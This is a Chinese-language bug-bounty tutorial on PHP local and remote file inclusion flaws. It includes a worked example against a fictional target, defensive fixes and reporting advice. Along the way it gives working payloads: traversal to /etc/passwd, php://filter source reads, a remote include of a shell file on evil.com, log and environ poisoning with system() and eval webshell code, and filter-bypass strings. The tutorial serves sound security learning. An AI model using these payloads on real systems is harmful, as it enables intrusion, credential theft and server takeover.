1. 项目概述为什么文件包含漏洞是SRC挖洞的“黄金矿点”深夜两点我盯着屏幕上一个看似平平无奇的URL参数随手将?pageabout.php改成了?page/etc/passwd。回车键按下当服务器的/etc/passwd文件内容清晰地回显在浏览器里时我知道又一个中危漏洞到手了。这不是什么高深的0day而是Web安全领域一个经典且“高产”的漏洞——文件包含。在SRC安全应急响应中心漏洞挖掘的实战中文件包含漏洞一直是我个人最偏爱的目标之一。原因很简单它逻辑清晰、利用直接、危害显著并且在大量企业遗留系统或开发人员安全意识不足的场景下它出现的频率远比想象中高。对于刚踏入SRC挖洞领域的新手来说文件包含是一个绝佳的切入点。它不像某些逻辑漏洞那样需要复杂的业务流程理解也不像SQL注入那样对过滤规则有极高的绕过技巧要求。文件包含的核心原理一句话就能说清程序在引入文件时未对用户可控的文件路径参数进行严格校验导致攻击者可以包含并执行任意文件。但正是这种“简单”让它成为了检验一个系统安全基础是否扎实的试金石。在各大SRC平台一个成功的远程文件包含RFI漏洞通常能评定为高危而本地文件包含LFI也至少是中危起步这意味着实实在在的奖金和认可。很多人觉得SRC挖洞无从下手看了半天厂商的资产感觉每个功能点都固若金汤。其实问题往往出在“视角”上。我们习惯了用正常用户的思维去点击、浏览却很少以一个“拆解者”的视角去审视每一个与“文件”或“路径”相关的交互点。这篇文章我就结合自己多年在各大平台提交文件包含漏洞的经验从原理、发现、利用、绕过到实战报告撰写为你拆解这条清晰的“挖矿”路径。你会发现只要掌握了正确的方法文件包含漏洞的挖掘完全可以成为一种系统性的、可复现的“手艺”。2. 核心原理深度拆解LFI与RFI的“罪与罚”在开始实战之前我们必须把地基打牢。文件包含漏洞主要分为两类本地文件包含Local File Inclusion, LFI和远程文件包含Remote File Inclusion, RFI。虽然都叫“包含”但它们的利用条件和危害程度有本质区别。2.1 本地文件包含窥探服务器内部的“钥匙”想象一下一个Web应用是一栋大楼各个功能模块如“关于我们”、“新闻动态”、“用户协议”是分布在不同楼层的房间。开发人员为了管理方便设计了一个“智能门卫系统”包含函数。当用户想访问“关于我们”时就向门卫传递一个指令?roomabout门卫会根据预设的目录比如/var/www/html/pages/找到about.php这个房间然后把房间里的内容展示给用户。LFI漏洞就出在这个“门卫”太老实了。如果这个门卫不对用户传来的“房间号”做任何检查那么攻击者就可以说“我要去/etc/passwd这个房间看看”。门卫不假思索直接跑去整栋大楼的根目录下找这个房间并且真的把里面的住户名单系统用户信息读了出来。这就是LFI。技术本质攻击者通过操纵文件包含函数的参数如include,require,include_once,require_once在PHP中使其加载服务器本地的非预期文件。这些文件可以是敏感系统文件/etc/passwd,/etc/shadow,/proc/self/environ环境变量/var/log/apache2/access.log日志文件。Web应用源码../config/database.php通过目录遍历获取数据库密码。临时文件利用文件上传等功能生成的临时文件包含后可能造成代码执行。关键点LFI能否升级为代码执行取决于被包含文件的内容和解析方式。如果包含了一个纯文本的.txt或.log文件通常只能读取内容。但如果应用配置不当例如Apache服务器将.log文件误配置为由PHP解析或者被包含的文件内容本身包含可执行的PHP代码比如通过污染日志注入那么LFI就能引发RCE远程代码执行危害等级直接升到高危。2.2 远程文件包含从“开门”到“请贼入室”RFI可以看作是LFI的“升级版”也是更危险的一种形态。继续用大楼的比喻这次攻击者不再满足于查看大楼里已有的房间而是直接告诉门卫“你去市中心某某地址一个远程URL把那个房间整个给我搬过来然后打开它。”技术本质当PHP的配置文件中allow_url_include选项设置为On时默认是Off文件包含函数如include的参数可以是一个远程URL如http://attacker.com/shell.txt。PHP会去请求这个URL获取其内容并将其作为PHP代码执行。危害性RFI的危害是立竿见影的。攻击者可以在自己控制的服务器上放置一个Web Shell一句话木马然后通过目标网站的包含漏洞去包含这个远程URL瞬间就在目标服务器上获得了命令执行能力。由于攻击载荷在远程防御者无法通过清理服务器本地文件来消除后门。重要提示现代PHP版本中allow_url_include默认关闭且官方强烈不建议开启。因此纯粹的RFI漏洞在现今互联网上已相对少见但绝非没有。一些老旧系统、定制化框架或配置错误的开发/测试环境仍然是RFI的“重灾区”。在SRC挖掘中发现RFI的概率可能低于LFI但一旦发现其价值和评级会非常高。2.3 漏洞产生的根本原因信任与校验的缺失无论是LFI还是RFI其根源都在于开发人员对用户输入保持了绝对的信任。具体表现为未过滤输入直接使用$_GET,$_POST,$_COOKIE中的参数作为包含文件的路径未进行任何过滤。过滤不严仅进行了简单的过滤如去除../但可能被....//或编码绕过。动态拼接路径逻辑缺陷例如代码逻辑为include($module . .php)认为用户只能控制$module的文件名部分。但如果用户传入module../../../etc/passwd%00在PHP老版本5.3.4中%00空字节会截断后面的.php从而成功包含。理解了这些原理我们就能像猎人一样知道去哪些地方寻找猎物的踪迹。3. 漏洞挖掘实战从信息搜集到参数定位理论说再多不如动手挖一挖。文件包含漏洞的挖掘可以遵循一套系统化的流程极大提高发现概率。3.1 目标资产信息搜集与筛选不是所有目标都同样“肥沃”。在开始测试前对目标进行筛选能事半功倍。技术栈识别使用Wappalyzer、WhatWeb等浏览器插件或工具快速识别网站技术栈。PHP环境是文件包含漏洞的“主战场”尤其是ThinkPHP、Laravel、Yii等框架的特定老旧版本。JSP% include file... %和ASP也存在包含机制但利用方式不同。目录结构与参数嗅探利用爬虫工具如Burp Suite的爬虫、gobuster、dirsearch扫描目标寻找可能包含动态参数的路径。特别关注以下模式/index.php?pageabout/news.php?filedetails/template/load?nameheader/admin/console?moduleuser任何包含include,load,template,page,file,module,path,dir等关键词的URL参数。JS文件分析现代前端应用常通过API与后端交互。查看页面源码中的JavaScript文件寻找向后台发送的Ajax请求其参数中可能包含文件路径信息。3.2 手工探测与参数测试自动化工具能发现入口但精细化的手工测试才是确认漏洞的关键。拿到一个可疑的URL后我的测试流程通常是这样的第一步基础探测正常访问http://target.com/index.php?pagenews确认功能正常。尝试包含一个已知存在的本地文件测试是否支持路径遍历?page./index.php(当前目录)?page../../index.php(上级目录)?page../../../etc/passwd(经典测试)观察响应是直接显示了文件内容还是出现了报错信息如“Warning: include()...”报错信息本身就能泄露绝对路径是宝贵的信息。第二步协议与封装器测试PHP环境这是PHP文件包含的“高级玩法”。除了直接包含文件PHP还支持多种封装协议它们可以成为读取文件、甚至执行代码的跳板。?pagephp://filter/readconvert.base64-encode/resourceindex.php作用以Base64编码的形式读取index.php的源码。这是SRC挖洞中极其常用的一招因为很多配置下直接包含.php文件不会显示源码会被执行但通过php://filter可以将其“转换”为文本内容读取出来用于审计其他漏洞。?pagefile:///etc/passwd作用使用file协议明确指定读取本地文件。?pagehttp://evil.com/shell.txt作用测试RFI。观察服务器是否会对外发起请求可在自己的VPS上监听端口查看。如果同时测试了allow_url_include这就是关键一步。?pagezip:///path/to/archive.zip%23shell.php作用包含ZIP压缩包中的特定文件。如果网站有上传ZIP功能这可能成为绕过上传限制的利器。第三步模糊测试与边界绕过如果参数有基础过滤如过滤../就需要尝试绕过。目录遍历绕过....//- 某些简单的过滤程序删除../后字符串会变成../。..\Windows路径分隔符在Windows服务器上可能有效。URL编码%2e%2e%2f(../),%2e%2e%5c(..\)。双重URL编码%252e%252e%252f。后缀截断针对老版本PHP?page../../../etc/passwd%00(空字节截断)?page../../../etc/passwd.php.(点号截断Windows下)?page../../../etc/passwd.........................(超长文件名截断)实操心得在Burp Suite的Intruder模块中可以预先配置一个包含各种测试Payload的字典如../../etc/passwd,....//....//etc/passwd,php://filter等然后对目标参数进行批量Fuzz。观察响应长度、状态码和内容的差异快速定位可能存在漏洞的输入点。一个响应长度与其他请求明显不同的结果可能就是成功的信号。4. 漏洞利用技巧进阶从文件读取到代码执行发现一个LFI漏洞如果只能读/etc/passwd那最多算个中危。如何将其危害最大化甚至升级为RCE高危才是体现技术价值的关键。4.1 利用日志文件实现代码执行这是LFI升级为RCE最经典、最可靠的路径之一。Web服务器如Apache、Nginx和很多Web应用都会记录访问日志。我们可以尝试将PHP代码注入到日志文件中然后通过LFI漏洞去包含这个日志文件从而执行代码。利用条件已知日志文件的绝对路径可通过报错信息、默认路径猜测、或读取配置文件获得。有权限读取该日志文件。可以向日志中写入可控数据即我们的HTTP请求会被记录。实战步骤定位日志路径常见路径有/var/log/apache2/access.log,/var/log/nginx/access.log,/var/www/html/logs/error.log等。可以通过包含../../../proc/self/fd/XXXX是文件描述符编号需要猜测有时也能指向日志。注入PHP代码在User-Agent、Referer或GET参数中插入PHP代码。因为日志会原样记录这些字段。使用Burp Suite或Curl发送请求User-Agent: ?php system($_GET[cmd]); ?包含日志文件访问?page/var/log/apache2/access.log。如果成功包含页面可能不会直接显示代码但已经执行。执行命令访问?page/var/log/apache2/access.logcmdid。如果看到命令执行结果或页面发生变化说明利用成功。注意事项日志文件通常很大包含可能导致超时或内存耗尽。可以尝试包含错误日志error.log它通常更小并且当我们故意访问一个不存在的路径如?php phpinfo(); ?时这个路径会被记录到错误日志中从而实现注入。4.2 利用/proc/self/environ 环境变量在Linux系统中/proc/self/environ文件包含了当前进程的环境变量。其中HTTP_USER_AGENT等变量直接来自我们的请求头。利用步骤测试是否可读?page../../../proc/self/environ。如果可读在User-Agent中注入代码User-Agent: ?php system(id); ?。再次包含/proc/self/environ代码可能被执行。这个方法比日志文件更“干净”但要求进程环境变量可读且注入的代码在环境变量中需保持完整不能有换行等破坏。4.3 利用PHP Session文件PHP会将Session数据存储在服务器上的文件中如/tmp/sess_[sessionid]。如果Session内容用户部分可控例如我们将用户名设置为?php phpinfo();?并且我们知道Session文件的路径和名称就可以通过LFI包含它来执行代码。利用条件较为苛刻需要知道Session存储路径、Session ID并且Session数据能被我们污染。在实战中不如日志文件利用普遍。4.4 利用文件上传功能组合拳如果目标网站存在文件上传功能但限制了后缀如只允许.jpg我们可以尝试上传一个内容为PHP代码的图片马shell.jpg然后结合LFI漏洞来包含这个上传后的文件。关键点需要知道上传文件的绝对路径。可以通过上传成功后的回显、报错信息、或者读取上传相关的配置文件来获取。一旦知道了路径例如/var/www/html/uploads/shell.jpg就可以尝试?page../../../uploads/shell.jpg。如果服务器配置了.jpg文件由PHP解析错误配置或者我们通过之前提到的php://filter等技巧就有可能执行其中的代码。4.5 封装协议的妙用前面提到的php://filter主要用于读取源码。另一个强大的协议是php://input。利用条件allow_url_include需要为On且php://input可用。方法发送一个POST请求将请求体Body设置为?php system(id); ?URL为?pagephp://input。这样POST的数据会被当作PHP代码执行。数据流协议data://text/plain,?php phpinfo();?或data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8也可以直接执行代码同样需要allow_url_includeOn。5. 漏洞挖掘实战案例全流程复盘下面我以一个虚构但高度仿真的SRC目标为例展示从开始到结束的完整挖掘流程。假设目标为http://vuln-app.example.com。5.1 信息搜集与入口发现技术栈识别Wappalyzer显示为 PHP 7.2 Apache。目录扫描使用dirsearch扫描发现以下有趣路径/index.php/admin/index.php/news.php/templates/参数分析手动访问http://vuln-app.example.com/news.php发现URL变为http://vuln-app.example.com/news.php?article_id123。这看起来像数据库查询不是文件包含。但访问http://vuln-app.example.com/index.php时注意到页面底部有版权信息点击“关于我们”链接URL变为http://vuln-app.example.com/index.php?pabout。敏感点出现p参数很可能对应include(about.php)。5.2 手工测试与漏洞确认基础测试访问?pabout正常显示“关于我们”页面。测试?p../../../etc/passwd。页面返回了一个空白页状态码200。这很可疑正常情况可能返回404或警告。空白可能意味着文件被包含但内容无法解析显示。测试?pphp://filter/readconvert.base64-encode/resourceindex.php。页面返回了一大串Base64编码的字符串解码后正是index.php的源代码。漏洞确认存在本地文件包含漏洞且支持php://filter协议。信息读取通过读取index.php源码发现数据库配置文件路径./includes/config.inc.php。构造Payload?pphp://filter/readconvert.base64-encode/resource./includes/config.inc.php成功读取到配置文件获取数据库用户名和密码明文存储。5.3 漏洞利用升级尝试RCE检查日志路径读取Apache配置文件/etc/apache2/sites-available/000-default.conf通过filter协议得知网站根目录为/var/www/vuln-app/日志路径为/var/log/apache2/vuln-app-access.log。日志注入使用Burp Suite发送请求将User-Agent修改为?php file_put_contents(/tmp/rce.php, ?php eval($_POST[cmd]);?); ?这个Payload的作用是一旦被包含执行会在服务器的/tmp目录下创建一个名为rce.php的Webshell。包含日志执行访问?p/var/log/apache2/vuln-app-access.log。页面再次空白但可能已执行。验证Webshell访问http://vuln-app.example.com/tmp/rce.php(如果/tmp目录可通过Web访问)。或者更常见的是直接通过包含日志文件来传递命令?p/var/log/apache2/vuln-app-access.logcmdid。但这里我们的Payload是写文件所以需要换一种方式。重新注入一个直接执行命令的Payload到RefererReferer: ?php system($_GET[c]); ?然后访问?p/var/log/apache2/vuln-app-access.logcwhoami。如果页面上显示了Web进程的用户如www-data则RCE成功。5.4 漏洞危害评估与报告要点至此我们完成了一个从LFI到RCE的完整利用链。在向SRC平台提交报告时需要清晰阐述漏洞类型本地文件包含漏洞LFI导致敏感信息泄露并可在特定条件下日志文件可读可写升级为远程代码执行RCE。漏洞URLhttp://vuln-app.example.com/index.php触发参数p复现步骤步骤1访问http://vuln-app.example.com/index.php?pphp://filter/readconvert.base64-encode/resource./includes/config.inc.php可读取数据库配置。步骤2通过修改HTTP头如User-Agent向日志写入PHP代码。步骤3访问http://vuln-app.example.com/index.php?p/var/log/apache2/vuln-app-access.logcwhoami可执行系统命令。漏洞证明提供截图包括Base64编码的配置文件内容、命令执行结果的回显。危害分析可读取服务器任意文件源码、配置、系统文件导致敏感信息泄露。在结合日志等可利用条件时可导致服务器被完全控制RCE。可能进一步导致数据库沦陷、内网渗透等更严重后果。修复建议对p参数进行严格白名单校验只允许包含预设的、安全的文件。避免使用动态包含如需动态加载应使用映射表如$allowedPages [about about.php, ...]。设置PHP配置allow_url_include Off,allow_url_fopen Off。将Web服务器运行在最小权限下并限制其对敏感目录和日志文件的访问。6. 常见防御手段与高级绕过技巧作为攻击方了解防御手段才能更好地绕过。作为开发方了解这些才能更好地防护。6.1 常见防御方式白名单校验最有效的方式。维护一个允许包含的文件名列表只包含列表内的文件。$allowed [home, about, contact]; $page $_GET[p]; if (in_array($page, $allowed)) { include($page . .php); } else { include(404.php); }过滤目录遍历字符使用str_replace过滤../,..\,./等。$page str_replace([../, ..\\, ./], , $_GET[p]); include($page . .php);固定后缀强制添加后缀如.php。include($_GET[p] . .php);设置包含目录使用open_basedir限制PHP可访问的目录范围。6.2 高级绕过技巧针对上述防御历史上出现过多种绕过方法绕过过滤../使用双重编码%252e%252e%252f- 服务器第一次解码为../如果过滤函数在解码后执行则可能被绕过。使用非常规路径分隔符在Windows下尝试..\或使用UTF-8编码等。绕过后缀截断针对老版本空字节截断../../../etc/passwd%00(PHP5.3.4)。超长文件名截断../../../etc/passwd....................................................................................................................................................................................................................................................利用协议与封装器即使过滤了路径字符php://filter或zip://这类协议可能仍然可用。如果allow_url_include开启data://或http://是绝佳的利用点。利用文件上传与包含组合这是绕过白名单的经典思路。如果白名单只允许about.php,news.php但我们可以上传一个图片马到服务器并知道其路径那么包含这个图片马就可能成功。关键在于获取上传文件的绝对路径。实战避坑指南在测试时如果遇到过滤不要轻易放弃。首先仔细观察返回的错误信息它可能提示你过滤了哪些字符。其次尝试多种编码和变形。最后结合其他漏洞如信息泄露漏洞获取路径文件上传漏洞获取文件进行组合攻击。文件包含漏洞很少孤立存在它往往是整个攻击链条中的关键一环。7. 工具链与自动化辅助纯手工测试效率有限合理使用工具能让你如虎添翼。Burp Suite (Professional/Community)Scanner主动扫描可发现部分明显的文件包含漏洞。Intruder核心工具。用于对参数进行Fuzz测试。可以加载包含各种LFI/RFI Payload的字典如SecLists中的LFI-Jhaddix.txt。Repeater用于手动构造和调试复杂的Payload特别是涉及多层编码或特殊协议时。FFUF / Wfuzz命令行下的Web Fuzzer速度极快适合批量测试大量URL和参数。ffuf -u http://target.com/index.php?pFUZZ -w lfi_payloads.txt -fs 0-fs 0可以过滤掉大小为0的响应可能是404帮助你快速定位有不同响应的请求。Kali Linux 内置字典/usr/share/wordlists/seclists/Fuzzing/LFI/*包含丰富的LFI测试路径。自定义脚本对于复杂的绕过可以编写Python脚本自动化测试编码、截断等技巧。自动化思路可以编写一个简单的脚本自动对收集到的所有带参数的URL进行基础LFI测试如../../etc/passwd,php://filter并记录有异常响应的结果供人工深入审计。8. 报告撰写与提交注意事项挖到漏洞只是成功了一半一份清晰、专业、合规的报告是获得认可和奖励的关键。标题明确【厂商名】某系统index.php文件存在本地文件包含漏洞可导致敏感信息泄露/RCE。漏洞等级根据实际危害评估。纯LFI读取非关键信息可能为中危能读源码/配置或可升级为RCE应为高危。详细复现步骤像写教程一样让审核人员能一步步复现。包括初始状态访问哪个URL。每一步操作输入什么参数。预期结果截图展示用红框标出关键部分。漏洞证明信息泄露截图显示读取到的敏感文件内容如配置文件可模糊处理密码部分但需证明可读。代码执行截图显示whoami,id,ifconfig等命令的执行结果。危害分析不要只说“危害很大”。要具体可导致哪些敏感信息泄露数据库密码、源码、服务器配置在什么条件下可导致RCE结合日志、上传可能对业务造成什么影响数据篡改、服务器失陷修复建议提供具体、可操作的修复方案参考本文第6.1节。这体现了你的专业性。遵守规则绝对不要进行未授权的深度渗透如尝试提权、拖库。绝对不要使用漏洞破坏系统稳定性如执行rm -rf。测试点到为止证明漏洞存在即可。仔细阅读该SRC平台的漏洞提交范围避免提交不在范围内的漏洞如子域名、无关的第三方组件漏洞。文件包含漏洞的挖掘是一场关于“细节”和“耐心”的游戏。它要求你对Web应用的运作方式有基本的理解对用户输入的每一个参数保持怀疑并且愿意去尝试那些看起来“不太可能”的路径。在SRC的世界里那些看似坚固的系统往往就在这些细微之处露出了破绽。每一次成功的包含不仅是一份奖励更是对你技术敏锐度的一次证明。保持好奇保持细致漏洞就在那里等着你去发现。